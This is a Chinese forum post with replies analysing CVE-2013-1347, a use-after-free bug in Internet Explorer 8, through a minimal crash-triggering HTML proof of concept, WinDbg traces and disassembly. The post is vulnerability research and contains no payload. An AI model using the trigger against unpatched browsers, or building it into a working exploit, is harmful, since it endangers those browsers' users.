首页
社区
课程
招聘
[原创]CVE-2013-1347(IE8 UAF漏洞)分析
发表于: 2013-7-2 01:21 6690

[原创]CVE-2013-1347(IE8 UAF漏洞)分析

2013-7-2 01:21
6690

深夜失眠,发篇报告压压惊....
似乎有人发过这个漏洞分析,不过貌似不是很详细哈~虽然我也不是分析的很详细~
有些没有分析清楚的地方可能是没有时间去搞了....
一个月前分析的,我记得没有参考其他人的成果,完全是从0开始的...所以有些思路可能比较幼稚和暴力...大神们轻拍....有错的地方也请指正~拜谢...

IE8 UAF(CVE-2013-1347)分析报告
一:概述
5月份的一个漏洞,大体上的原因早就搞清楚了,胃病耽误了两周,研究一些具体的细节用了很长时间。但是由于复杂的函数太多,再加上IE内部的树结构操作使用了很多复杂的算法,以前泄漏的那点代码参考价值有限,还是有一些地方弄得不是特别清楚。
另外这个漏洞的成因还是挺有代表性的,基本是目前IE漏洞的形势。
OK,废话不说了。

首先分析一下POC,在看POC之前,有几个概念需要清楚:
块元素
内联元素
具体的概念和差别可以看下面的连接(很重要)
http://www.pc6.com/infoview/Article_45877.html

下面是POC:
POC:(最精简版本,任何一条语句都不能再删了)
                <!doctype html>
                <HTML>
                <head>
                <script>
                function helloWorld()
                {
                        f0 = document.createElement('span');
                        document.body.appendChild(f0);
                        f1 = document.createElement('span');
                        document.body.appendChild(f1);
                        f2 = document.createElement('span');
                        document.body.appendChild(f2);
                        document.body.contentEditable="true";
                        ##创建3课树,并完成渲染,需要注意f0,f1,f2要是内联元素,不一定非要是span
                        f1.appendChild(document.createElement('table'));
                        f2.appendChild(document.createElement('datalist'));
                        ##f1必须是一个块元素,f2必须要是一个内联元素(只要是内联元素就行,不一定是CGenericElement对象,这个漏洞和CGenericElement对象也没有太大的关系)
                        try      { f2.offsetParent=null;}
                        catch(e) { }
                        ##关键点1,漏洞成因!
                        f1.innerHTML = "";
                        f2.innerHTML = "";
                        ##f1和f2都要删除
                        f0.appendChild(document.createElement('hr'));
                        ##关键点2,必不可少,必须是hr标签,至少我目前还没有找到可以替代的
                        CollectGarbage();

                }
                </script>
                </head>
                <body onload="eval(helloWorld());">
                </body>
                </html>
根据POC来看,可以这个漏洞的限制点还是很多,这也说明漏洞的成因涉及很多方面。漏洞的利用比较稳定。由于win xp+IE8的组合还是有市场的(我大学的标配。。惭愧),所以漏洞的影响还是挺严重的。

二:具体分析
开启hpa和ust,GO。

0:008> !heap -p -a ecx
    address 063bcfc8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5d155c0:          63bc000             2000
    7c947553 ntdll!RtlFreeHeap+0x000000f9
    636b52c6 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d
    63628a50 mshtml!CBase::SubRelease+0x00000022
    63640d1b mshtml!CElement::PrivateRelease+0x00000029
    6363d0ae mshtml!PlainRelease+0x00000025
    63663c03 mshtml!PlainTrackerRelease+0x00000014
    633a10b4 jscript!VAR::Clear+0x0000005c
    6339fb4a jscript!GcContext::Reclaim+0x000000ab
    6339fd33 jscript!GcContext::CollectCore+0x00000113
    63405594 jscript!JsCollectGarbage+0x0000001d
    633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
    633a6650 jscript!VAR::InvokeByDispID+0x0000017c
    633a9c0b jscript!CScriptRuntime::Run+0x00002989
    633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    633a59f7 jscript!ScrFncObj::Call+0x0000008f
633a5743 jscript!CSession::Execute+0x00000175
通过查看崩溃点的栈回溯,可以很清楚的看到出问题的对象是CGenericElement对象,这也是最初很多人认为漏洞跟CGenericElement对象有关的原因。IE8对无法识别的对象都会生成CGenericElement对象。当然把datalist换成任意的一个行内元素(or 内联元素)时,如 span,a,b等,都会触发漏洞。
分析漏洞最重要的是跟踪数据流,我们要知道为什么这个已经释放的对象会被再次的引用。根据在IDA的查找可以看到:

根据IDA中的显示,可以知道ecx中的数据来自ebx,ebx中的数据即为悬挂指针。使用栈回溯查看ebx:
0:008> !heap -p -a ebx
    address 04dfefb0 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 50bb4a0:          4dfefb0               4c -          4dfe000             2000
    7c938f01 ntdll!RtlAllocateHeap+0x00000e64
    637724f2 mshtml!CMarkup::InsertElementInternal+0x0000022a
    6377234c mshtml!CDoc::InsertElement+0x0000008a
    637727f5 mshtml!CCommentElement::`scalar deleting destructor'+0x0000023d
    63772991 mshtml!CElement::InsertBeforeHelper+0x000000d1
    637728b7 mshtml!CElement::insertBefore+0x0000003c
    63772a38 mshtml!CElement::appendChild+0x00000039
    63791a83 mshtml!Method_IDispatchpp_IDispatchp+0x000000ca
可以看到ebx正是CTreeNode的地址。

所以这里我们可以得到的结论是:CGenericElement对象的地址保存在对应的CTreeNode结构中,但是CGenericElement对象删除后,仍然可以从CTreeNode结构中找到CGenericElement的指针,并发生寻址。一般来说造成这种漏洞的原因是下面两个之一:
1)        CGenericElement对象的指针存储到CTreeNode结构中时,CGenericElement的引用计数没有加一,导致CGenericElement对象提前被释放。事实上,大部分UAF漏洞都是由于这个原因造成的(比如2012年底的那个CButton对象的UAF漏洞)
2)        CGenericElement对象的引用技术都是正常的。问题处在CTreeNode结构上,CTreeNode没有及时的被删除(即删除晚了),这一般是由于CTreeNode结构的引用计数错误的+1造成(当然也不绝对)。

上述的两种情况,第一种比较简单,也比较好跟踪,但是可能性其实不高(微软不是吃素的,这种低级的错误一般不会犯的)。第二种的情况就比较复杂了,因为导致的原因实在太多,也会涉及到很复杂的IE内部数据结构的操作。
我们先排查一下第一种情况吧。
在CGenericElement的CTreeNode结构创建时(637724f2   mshtml!CMarkup::InsertElementInternal+0x22a)下断点,然后跟踪CTreeNode的赋值过程,观察CGenericElement的引用计数变化(数据写断点)。
具体的过程略,可以看到在这个过程中,CGenericElement的引用计数变化是正常的。所以可以基本排除1)的可能。

所以我们初步判断该漏洞是由于没有正确的删除CTreeNode对象导致的。
为了弄清楚原因,我们需要跟踪数据流,搞清这个CTreeNode是来自哪里的。
崩溃点的栈回溯:
ChildEBP RetAddr  Args to Child              
038ff1f8 63602718 038ff544 08142fb0 00000000 mshtml!CElement::Doc
038ff214 636026a3 08142fb0 038ff544 08142fb0 mshtml!CTreeNode::ComputeFormats+0xb9
038ff4c0 63612a85 08142fb0 08142fb0 038ff4e0 mshtml!CTreeNode::ComputeFormatsHelper+0x44
038ff4d0 63612a45 08142fb0 08142fb0 038ff4f0 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
038ff4e0 63612a2c 08142fb0 08142fb0 038ff4fc mshtml!CTreeNode::GetFancyFormatHelper+0xf
038ff4f0 63717f30 08142fb0 038ff50c 63717f4e mshtml!CTreeNode::GetFancyFormat+0x35
038ff4fc 63717f4e 00000000 08142fb0 038ff51c mshtml!ISpanQualifier::GetFancyFormat+0x5a
038ff50c 63717afe 00000000 07dccfa0 038ff554 mshtml!SLayoutRun::HasInlineMbp+0x10
038ff51c 63724f88 00000000 00000000 07dccfa0 mshtml!SRunPointer::HasInlineMbp+0x53
038ff554 6373a5a1 038ff573 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf1
038ff58c 6382ed01 038ff5f7 038ff60b 069faff0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
038ff5d8 63702e23 06d8afc8 069faf30 07cf6fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x250
038ff610 63708acf 069faf30 00000000 06cfcfc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
038ff6d4 6370bd31 019faf30 04dbefa8 038ff703 mshtml!CCssDocumentLayout::GetPage+0x22a
038ff844 63668184 038ffa08 038ff9a0 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x242
038ff97c 6368a1cb 04dbefa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
038ffa78 6374799d 00100000 038ffad0 07deefd8 mshtml!CLayout::DoLayout+0x11d
038ffa8c 636514de 038ffad0 038ffad0 636678c6 mshtml!CCssPageLayout::Notify+0x140
038ffa98 636678c6 00000000 07df0fb0 00000000 mshtml!NotifyElement+0x41
038ffaac 63651658 038ffad0 07df0fb0 00000000 mshtml!NotifyTreeNode+0x62

根据上图的栈回溯开始找:
从CTreeNode::GetFancyFormat到CTreeNode::ComputeFormats都是CTreeNode的函数,都是通过寄存器(ecx,eax等)传递的CTreeNode结构。所以要从ISpanQualifier::GetFancyFormat函数开始追踪数据的来源。
根据IDA:

可以看到CTreeNode是通过ISpanQualifier::GetFancyFormat的eax->esi->ecx传入到后面的函数里的。
eax里的值是来自于SLayoutRun::HasInlineMbp里的eax。而SLayoutRun::HasInlineMbp的eax是来自于SRunPointer::HasInlineMbp函数的这个地点:

这里首先是通过edi传给eax,然后执行函数SRunPointer::SpanQualifier(void)。我们现在不清楚SRunPointer::SpanQualifier(void)函数是否对eax寄存器做了修改。
实际上继续向上追踪edi的来源我们看到在CLayoutBlock::GetIsEmptyContent里:

很显然edi是函数CLayoutBlock::GetIsEmptyContent里的栈上的地址。而实际上最后的eax是CTreeNode的地址。所以可以知道SRunPointer::SpanQualifier(void)一定对eax寄存器的值做了修改。
为了更清楚的弄清edi指向的是什么结构,我们需要动态调试。如果直接在这里下断点的话是很麻烦的,因为断点会命中很多次。
我以前是根据断点命中次数来准确的断在需要的位置上的,具体的方法可以参考调试笔记,当然也可以用条件断点的方法。
我们首先来分析一下SRunPointer::SpanQualifier(void)函数:
.text:63717B12                 mov     eax, [eax+4]
.text:63717B15                 cmp     eax, 1
.text:63717B18                 jz      short loc_63717B31
.text:63717B1A                 cmp     eax, 3
.text:63717B1D                 jz      short loc_63717B31
.text:63717B1F                 mov     ecx, [eax]
.text:63717B21                 and     cl, 7
.text:63717B24                 cmp     cl, 1
.text:63717B27                 jz      loc_6371B6B7
.text:63717B2D                 mov     eax, [eax+0Ch]
.text:63717B30                 retn
这个函数很简单,做了一些判断后,最后把[[eax+4]+0ch]的值赋给了eax。而这个值很显然就是CTreeNode结构的地址。我们把CGenericElement的CTreeNode结构存成$t0。
然后使用条件断点:
bp mshtml!CLayoutBlock::GetIsEmptyContent+0xec ".if (poi(poi(@edi+4)+0ch) = @$t0) {} .else {gc}"
断到了上图的位置。我们可以看到就是下面的这个结构在偏移0Ch的位置存储了CTreeNode结构:
0:008> dd poi(edi+4)
0654efd0  00000805 00000002 0652efc0 0652efb0
0654efe0  00000806 00000003 0652efd8 0652efb0
0654eff0  00000806 00000004 06190fd8 06190fb0
(注:在CLayoutBlock::GetIsEmptyContent函数中,esp+2Ch+TakeCare位置+04h就是上面这个结构的地址,为了弄清这个赋值过程,可以用命中次数的方法来跟踪。具体可以参考调试笔记。下面是结论:
在 63724f27  处下断点,命中第三次后开始分析,在上述edi+4的位置下写断点。
第一次命中:把这个地址写入1(貌似应该是正常情况)63724F4A   call  CTextBlock::GetFirstRun
第二次命中:63724F90  SRunPointer::MoveToNextRun(void)
写入: 19624fc0
0:008> dd 19624fc0
19624fc0  00000805 00000001 19441fc0 19441fb0
19624fd0  00000805 00000002 19421fc0 19421fb0
19624fe0  00000806 00000003 19421fd8 19421fb0
19624ff0  00000806 00000004 19441fd8 19441fb0
第三次命中和第二次情况基本一致(这个值导致了崩溃)
0:008> dd 19624fd0 (就是上一个地址+10,这个就是MoveToNextRun函数的效果)
19624fd0  00000805 00000002 19421fc0 19421fb0
19624fe0  00000806 00000003 19421fd8 19421fb0
19624ff0  00000806 00000004 19441fd8 19441fb0
0:008> r $t0
$t0=19421fb0

这个结构创建时候的栈回溯:
0:008> !heap -p -a 0654efd0
    7c938f01 ntdll!RtlAllocateHeap+0x00000e64
    6363bb00 mshtml!_HeapRealloc+0x00000036
    6363bb71 mshtml!CImplAry::EnsureSizeWorker+0x000000a1
    63640c74 mshtml!CImplAry::AppendIndirect+0x00000027
    6371952c mshtml!CTextBlock::AddAtomRun+0x0000010d
    63719ae7 mshtml!CTextBlock::BuildSpanBeginRun+0x000000c1
    63718b0e mshtml!CTextBlock::BuildTextBlock+0x00000ae1
    63718192 mshtml!CLayoutBlock::BuildBlock+0x000001ec
    637030aa mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059c
    63702e23 mshtml!CLayoutBlock::BuildBlock+0x000001c1
    63708acf mshtml!CCssDocumentLayout::GetPage+0x0000022a
    6370bd31 mshtml!CCssPageLayout::CalcSizeVirtual+0x00000242
    63668184 mshtml!CLayout::CalcSize+0x000002b8
    6368a1cb mshtml!CLayout::DoLayout+0x0000011d
    6374799d mshtml!CCssPageLayout::Notify+0x00000140
636514de mshtml!NotifyElement+0x00000041

下面我们比较关心这个结构是什么结构以及创建时间。
首先在POC中感兴趣的语句前面都加上调试语句:
                <!doctype html>
                <HTML>
                <head>
                <script>
                function helloWorld()
                {
                        f0 = document.createElement('span');
                        document.body.appendChild(f0);
                        f1 = document.createElement('span');
                        document.body.appendChild(f1);
                        f2 = document.createElement('span');
                        document.body.appendChild(f2);
                        document.body.contentEditable="true";
                        Math.atan2(0xbadc0de, "before datalist")
                        f2.appendChild(document.createElement('datalist'));
                        f1.appendChild(document.createElement('table'));
                        Math.atan2(0xbadc0de, "before offsetparent")
                        try      { f0.offsetParent=null;}
                        catch(e) { }
                        Math.atan2(0xbadc0de, "after offsetparent")
                        Math.atan2(0xbadc0de, "before delete f2")
                        f1.innerHTML = "";
                        f2.innerHTML = "";
                        Math.atan2(0xbadc0de, "after delete f2, before delete f1")
                        Math.atan2(0xbadc0de, "after delete f1")
                        f0.appendChild(document.createElement('hr'));
                        Math.atan2(0xbadc0de, "after delete f1")
                        CollectGarbage();
                        Math.atan2(0xbadc0de, "after collect garbage")
                }
                </script>
                </head>
                <body onload="eval(helloWorld());">
                </body>
                </html>
然后设置断点:
bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;dd @$t1"
然后在 6363bb00  (mshtml!_HeapRealloc+0x36) 下断点,这个命中次数很多
使用bu 6363bb00 "r eax;gc" 使它不断下来,最后把全部的输出log拷贝出来,查找我们感兴趣的点(edi) 是在哪里创建的.
通过调试信息的输出,我们可以确定这个结构是在
try      { f0.offsetParent=null;}
catch(e) { }
阶段创建的。
删除这条语句,在CollectGarbage()后,CTreeNode和CGenericElement都被删除了,所以不会触发漏洞。也就是说因为这条语句导致存在一个CTreeNode的引用,故这个CTreeNode引用计数不为0,没有被删除。
bp mshtml!_HeapRealloc+0x36 "r eax"
上面这个断点第三次命中时创建的结构就是我们关心的这个结构。
根据后面对这个结构的处理,可以知道这个结构是一个SLayoutRun结构。(这里不是百分百确定)
Math.atan2(0xbadc0de, "before offsetparent")语句之后,断点mshtml!_HeapRealloc+0x36 "r eax"命中第三次的时候即是创建这个结构X的点。
19780fc0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
19780fd0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
19780fe0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
19780ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
在上边结构的19780fc0+0c和19780fd0+0c位置下写断点。通过判断可知CtreeNode结果是在下面这个函数写入的:
mshtml!SLayoutRun::SetSpanQualifier:
63749259 8bff            mov     edi,edi
6374925b 55              push    ebp
6374925c 8bec            mov     ebp,esp
6374925e 8b06            mov     eax,dword ptr [esi]
63749260 53              push    ebx
63749261 8b5d08          mov     ebx,dword ptr [ebp+8]
63749264 83650800        and     dword ptr [ebp+8],0
63749268 2407            and     al,7
6374926a 3c01            cmp     al,1
6374926c 0f8488f30f00    je      mshtml!SLayoutRun::SetSpanQualifier+0x15 (638485fa)
63749272 57              push    edi
63749273 8b7e0c          mov     edi,dword ptr [esi+0Ch]
63749276 8bc7            mov     eax,edi
63749278 e8b7ffffff      call    mshtml!ISpanQualifier::IsRefcounted (63749234)
6374927d 84c0            test    al,al
6374927f 0f8585090100    jne     mshtml!SLayoutRun::SetSpanQualifier+0x34 (63759c0a)
63749285 8bc3            mov     eax,ebx
63749287 e8a8ffffff      call    mshtml!ISpanQualifier::IsRefcounted (63749234)
6374928c 84c0            test    al,al
6374928e 5f              pop     edi
6374928f 7407            je      mshtml!SLayoutRun::SetSpanQualifier+0x4e (63749298)
63749291 8bc3            mov     eax,ebx
63749293 e870f3fcff      call    mshtml!ISpanQualifier::AddRef (63718608)
63749298 895e0c          mov     dword ptr [esi+0Ch],ebx                           写入点
此时栈回溯:
0:008> kb
ChildEBP RetAddr  Args to Child              
038fa524 63719374 00000000 07388fb0 038fa570 mshtml!SLayoutRun::SetSpanQualifier+0x51
038fa534 63719545 00000002 00000005 07388fb0 mshtml!SLayoutRun::InitializeAtomRun+0x63
038fa570 63719ae7 038fbcb4 07388fc0 00000000 mshtml!CTextBlock::AddAtomRun+0x126
038fa5a8 63718b0e 07e5cfa0 00000002 038fbcb4 mshtml!CTextBlock::BuildSpanBeginRun+0xc1
038fbcc4 63718192 07e5cfa0 07eb8f30 07ea0fd8 mshtml!CTextBlock::BuildTextBlock+0xae1
038fbd08 637030aa 07eb8f30 07ea0fd8 04aa8fc8 mshtml!CLayoutBlock::BuildBlock+0x1ec
038fbd88 63702e23 04aa8fc8 07eb8f30 07ea0fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59c
038fbdc0 63708acf 07eb8f30 00000000 04726fc8 mshtml!CLayoutBlock::BuildBlock+0x1c1
……

经过仔细跟踪,可以找到这个ebx的来源,在mshtml!CTextBlock::BuildTextBlock函数中,把var8作为参数(里面是CGenericElement对象的CTreeNode地址+10,即CTreePos)传入到BuildSpanBeginRun函数里,然后在这个函数中插入CTreeNode到那个数组里。
我们为了查明为什么对datalist这个类型的对象才会触发,而对于P这种类型的对象不会触发。故而采用对比的方法来比较(要记得控制单一变量)。
通过比对p对象的情况,可知问题出在流程上,CTextBlock::BuildTextBlock函数的ebp-2c(Critical_point)的参数是一个标志,这个值是通过函数:CTextBlock::IdentifyRunTypeToBuild来设置的,触发漏洞时,这个返回值是5,直接导致后面调用了BuildSpanBeginRun函数(通过一个switch case语句):

if ( BYTE3(a5) && Critical_point == 1 )
            {
              v19 = CTextBlock::BuildFirstLetterPseudoElement(a1, a2, &v94, &v96, a9, &v84, &v69);
              if ( v19 < 0 )
                goto LABEL_67;
              if ( v27 != -1 )
              {
                if ( (_BYTE)a8 )
                {
                  if ( v27 >= v26 )
                  {
                    v62 = __OFSUB__(v94, v27);
                    v60 = v94 == v27;
                    v61 = v94 - v27 < 0;
                    goto LABEL_260;
                  }
                }
                else
                {
                  v63 = v27 + 1;
                  if ( v27 + 1 >= v26 )
                  {
                    v62 = __OFSUB__(v94, v63);
                    v60 = v94 == v63;
                    v61 = v94 - v63 < 0;
LABEL_260:
                    if ( !((unsigned __int8)(v61 ^ v62) | v60) )
                      goto LABEL_261;
                    goto LABEL_111;
                  }
                }
              }
            }
            else
            {
              if ( Critical_point == 1 )
              {
                v37 = CTextBlock::BuildCharacterRun(a1, -1, v25, &v94, a9, &v84, &v74, &v69);
              }
              else
              {
                if ( Critical_point == 2 )
                {
                  v19 = CTextBlock::BuildLineBreakRun(a1, v25, &v94, &v96, a9, &v69);
                  if ( v19 < 0 )
                    goto LABEL_67;
                  goto LABEL_112;
                }
                if ( Critical_point != 3 )
                {
                  if ( Critical_point == 4 )
                  {
                    v28 = CTextBlock::BuildOutOfFlowBlockRun(a1, 0, v83, v88, a3, &v94, &v96, a9);
                  }
                  else
                  {
                    if ( Critical_point == 5 )
                    {
                      v28 = CTextBlock::BuildSpanBeginRun(a1, v88, &v94, &v96, a9, &v69);
                    }
                    else
                    {
                      if ( Critical_point != 6 )
                        goto LABEL_261;
                      v28 = CTextBlock::BuildSpanEndRun(a1, v88, &v94, a9, &v69);
                    }
                  }
                  goto LABEL_43;
                }
                v37 = CTextBlock::BuildInflowBlockRun(a1, 0, v83, v88, a3, &v94, &v96, a9, &v69);
              }

Critical_point这个临时变量在 63718a25 mshtml!CTextBlock::BuildTextBlock+0x8ff点调用CTextBlock::IdentifyRunTypeToBuild函数来设置。对于不触发漏洞(p)的情况,这个函数会把Critical_point设为0。
进一步来分析IdentifyRunTypeToBuild函数。
.text:6371966E loc_6371966E:                           ; CODE XREF: CTextBlock::IdentifyRunTypeToBuild(CTreePos const *,RUNTYPE &,bool &,BLOCKTYPE &,CTreeNode * &,_styleDisplay &,bool &)+59j
.text:6371966E                 mov     eax, esi
.text:63719670                 call    ?Branch@CGeneratedContent@@SGPAVCTreeNode@@PBVCTreePos@@@Z ; CGeneratedContent::Branch(CTreePos const *)
.text:63719675                 mov     esi, [ebp+arg_C]
.text:63719678                 lea     ecx, [ebp+var_4]
.text:6371967B                 push    ecx
.text:6371967C                 lea     ecx, [ebp+arg_C+3]
.text:6371967F                 push    ecx
.text:63719680                 push    [ebp+arg_10]
.text:63719683                 mov     [edi], eax
.text:63719685                 push    [ebp+arg_8]
.text:63719688                 mov     ecx, esi   //作为隐蔽参数传入
.text:6371968A                 push    eax
.text:6371968B                 lea     eax, [ebp+arg_0]
.text:6371968E                 call    CLayoutBlock::IdentifyBlock(CTreeNode *,BLOCKTYPE &,_styleDisplay &,bool &,bool &,RUNINDISPLAY &,CTreeNode * &)
.text:63719693                 test    eax, eax  

在函数CLayoutBlock::IdentifyBlock执行后,对于p,eax=1,对于datalist ,eax=2。
eax=2直接导致了后续的动作,最终返回5。
通过名称可以判断,IdentifyBlock这个函数是鉴定是否元素是否为块元素的。对于块元素p,返回eax=1,就不会导致后续的CTreeNode插入到SLayoutRun里面。
对于IdentifyBlock内部的详细过程(not very important):
在IdentifyBlock函数中,对ecx下断点。比对p和datalist两种情况。
对于datalist,通过在ecx下写断点,可以知道这个地址是在GetDisplayAndPosition函数中被设为了2。
637195a8 c70602000000    mov     dword ptr [esi],offset <Unloaded_ud.drv>+0x1 (00000002) ds:0023:038fbc9c=00000000
对于p,则没有

调用流程:
IdentifyRunTypeToBuild(6371968E)-> IdentifyBlock (63712432) ->  在GetDisplayAndPosition函数里完成设置

比对p和datalist的在GetDisplayAndPosition中的指令轨迹,可以知道两种情况的流程是在
636fefd0 833e00          cmp     dword ptr [esi],0    ds:0023:038fbc9c=00000000
位置不一样的,进一步追踪数据,可以知道esi来自于这里的函数调用:
636feee3 e8ae2af6ff      call    mshtml!CTreeNode::GetFancyFormat (63661996)。
其实漏洞成因到这里已经基本弄清了。接下来还有几个问题不太清楚:
1)        为什么一定要有f1?而且f1必须是一个块级的标签(table,p)?
2)        为什么在最后需要一条:f0.appendChild(document.createElement('hr'));而且必须是hr?

对于第一个问题:
首先offsetParent=null这条语句会导致这个页面的重新渲染(or 重绘,当然可能什么也不是),这直接导致了CTreeNode结构被SLayoutRun引用。在这个过程中,IE会根据页面的标签的性质来做不同的操作,这个可能会跟块级和内联级标签的内部处理方法有关。只有紧挨着的标签(页面是一个树的结构,IE会把他转换为二叉树)是块级元素时,内联元素才会被存放在SLayoutRun结构中。
具体来说在函数mshtml!CCssDocumentLayout::GetPage中如果f1不是块级元素,就不会进入到CLayoutBlock::BuildBlock函数中(ret:63708acf),进而不会有后续的CGenericElement的CTreeNode写入SLayoutRun中。而是跳过那个判断后执行CCssPageLayout::SetupDisplayBoxForPage函数(RET:63708e51)。
创建另外的SLayoutRun结构(第三次断点命中)。而触发漏洞时(f1为table)这个SLayoutRun的创建会发生在第五次断点命中时。而这个SLayoutRun结构会马上被删除掉。故不会导致漏洞。
当然这个我也分析的不是非常清楚,GetPage函数非常复杂,以后有时间再好好逆向一下吧^ ^

对于第二个问题:
a:没有这条语句的时候,CGenericElement的CTreeNode和CElement都不会被删除。有了这条语句时,如果hr换成别的东西,都会导致删除CGenericElement的CTreeNode和CElement。(正常来说CGenericElement的CTreeNode和CElement都会删除掉,但是在触发漏洞时,由于CTreeNode意外的被SLayoutRun引用导致没有删除,进而触发了漏洞!,这个就是漏洞的根本成因)
b:只有hr标签才会进入一个会调用SLayoutRun结构的流程里。因为hr是一条水平分割线,会把文档分隔成各个部分,这跟hr标签的实现有关, 因为SLayoutRun结构中还有DOM树上的节点引用,IE会判断页面非空,因为要做分隔的操作,所以会走到寻址CTreeNode的流程中。

三:总结
CGenericElement的释放是没有问题,这个漏洞的根本原因是指向CGenericElement的CTreeNode没有被删除。原因是CTreeNode意外的在SLayoutRun结构中有一份引用。这里说意外,是指innerHTML=””操作之后,CTreeNode已经从树上卸了下来,这个时候CTreeNode已经是没有用的了。但是因为被SLayoutRun引用,导致CTreeNode引用计数不为0,故在后续的清理操作中没有被释放。
这个漏洞跟CVE-2013-1288(CVE-2013-0025)本质上都是一样的。都是因为CTreeNode被意外的引用(CVE-2013-1288:CtreePos->CTreeNode->CParaElement)。
而这些其实都是时序的问题,按照正常的顺序或流程来执行,是不会产生任何问题的,但是如果执行顺序中意外的插入了其他的操作,而且并没有通知后续的动作,就会导致一些意外的有趣的事情发生。一般会造成这种情况的可能是settimeout,onload等动作的介入,也可能是提前的渲染等等。
由于这种漏洞的无规律性,导致很难被系统的挖掘出来。所以以后的Fuzz一定要注意时序的问题。当然,这需要运气和耐心。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (12)
雪    币: 131
活跃值: (98)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
沙发?沙发?
2013-7-2 09:12
0
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
猛人   。
2013-7-2 10:24
0
雪    币: 500
活跃值: (995)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
正好需要,感谢lz分享
2013-7-2 10:33
0
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
分析的好透彻,功力好深!!!
2013-7-2 11:29
0
雪    币: 53
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
好人一生平安。
2013-7-2 11:34
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
楼主请问IE8的符号表哪来的?=。=
2013-7-12 20:44
0
雪    币: 284
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
mark一下,慢慢看
2013-7-12 21:20
0
雪    币: 26
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
谢谢楼主分享
2013-7-16 13:39
0
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
设置好路径后reload貌似可以自动下载
2013-8-2 17:38
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
mark
2013-8-6 08:33
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
强大!!
2013-8-27 15:20
0
雪    币: 107
活跃值: (36)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
楼主分析的很详细。遇到很奇怪的问题,在官网打了补丁后IE8无法正常打开网页了,Windbg附加看了下,mshtml.dll不停的加载卸载。貌似打了补丁后mshtml.dll有问题。大家谁遇到过没?
2013-9-10 15:41
0
游客
登录 | 注册 方可回帖
返回
//